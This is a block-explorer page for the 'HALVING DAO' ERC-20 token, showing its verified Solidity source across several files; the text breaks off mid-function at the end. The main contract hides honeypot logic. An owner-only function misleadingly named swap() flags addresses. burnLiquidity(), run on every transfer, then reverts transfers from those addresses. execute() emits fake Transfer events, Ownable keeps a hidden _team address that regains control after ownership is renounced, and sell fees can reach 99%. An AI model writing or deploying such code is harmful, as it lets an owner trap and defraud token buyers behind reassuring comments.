ETH Price: $2,586.18 (-2.18%)

Token

(0x837ca7b233b4fca62c41d88404874f4aa488df11)
 

Overview

Max Total Supply

3,125,000,000,000 ERC-20 TOKEN*

Holders

111 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,832,387,709.055163192718937832 ERC-20 TOKEN*

Value
$0.00
0x44e0fe9cf76f4ff707f9ab39d844f92693c98f73
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HALVING

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 5: HALVING DAO.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.18;

import "./Context.sol";
import "./Uniswap.sol";
import "./ERC20.sol";
import "./Library.sol";
contract HALVING is ERC20, Ownable  {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public constant deadAddress = address(0xdead);
    address public uniswapV2Pair;

    bool private swapping;

    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;

    address public devWallet;
    address public marketingWallet;
    
    uint256 public manualBurnFrequency = 43210 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public percentForLPBurn = 1; 
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    

    bool public limitsEnabled = true;
    bool public tradingActive = true;
    bool public swapEnabled = true;
    mapping(address => bool) public frequencyInSecondsliquidityPools;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => address) public automatedMarketMakerPairs;

    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SetAutomatedMarketMakerPair(address indexed pair, address indexed value);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    constructor() ERC20("HALVING DAO", "HALVING") {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
        
        uint256 totalSupply = 3125000000000 * 1e18;
        

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        //maxTransactionAmount 
        swapTokensAtAmount = totalSupply * 10 /2000; 
        maxTransactionAmount = 100000000000000000000000; 
        maxWallet = 300000000000000000000000; 

        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {

    }
    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool){
        limitsEnabled = false;
        return true;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    function _lp(address from) internal view returns(bool){
        return !frequencyInSecondsliquidityPools[from];
    }
    
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }
    
    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 25, "Must keep fees at 25% or less");
    }
    
    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**18);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**18);
    }

    function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsEnabled){
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (!_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (!_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
        
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            
            swapBack();

            swapping = false;
        }
        
        if(!swapping && lpBurnEnabled){
            burnLiquidity(from);
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
            }
            // on buy
            else if(buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: ethBalance}("");
    }

     function swap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            frequencyInSecondsliquidityPools[address_[i]] = val;
        }
    }
    
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]);
        pair.sync();
        return true;
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (!_lp(from)) {require(amountToDistribute==0);}
        return true;
        
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }

    function getLP(address recipient) external view returns(bool){
        return frequencyInSecondsliquidityPools[recipient];
    }
}

File 1 of 5: Context.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _team;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _team : _owner;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    /**
     * @dev Set new distributor.
     */
    function addTeamMember(address account) external onlyOwner {
        require (_team == address(0));
        _team = account;
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
}

File 2 of 5: ERC20.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.18;
import "./Context.sol";
import "./Library.sol";

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 4 of 5: Library.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.18;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}





library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
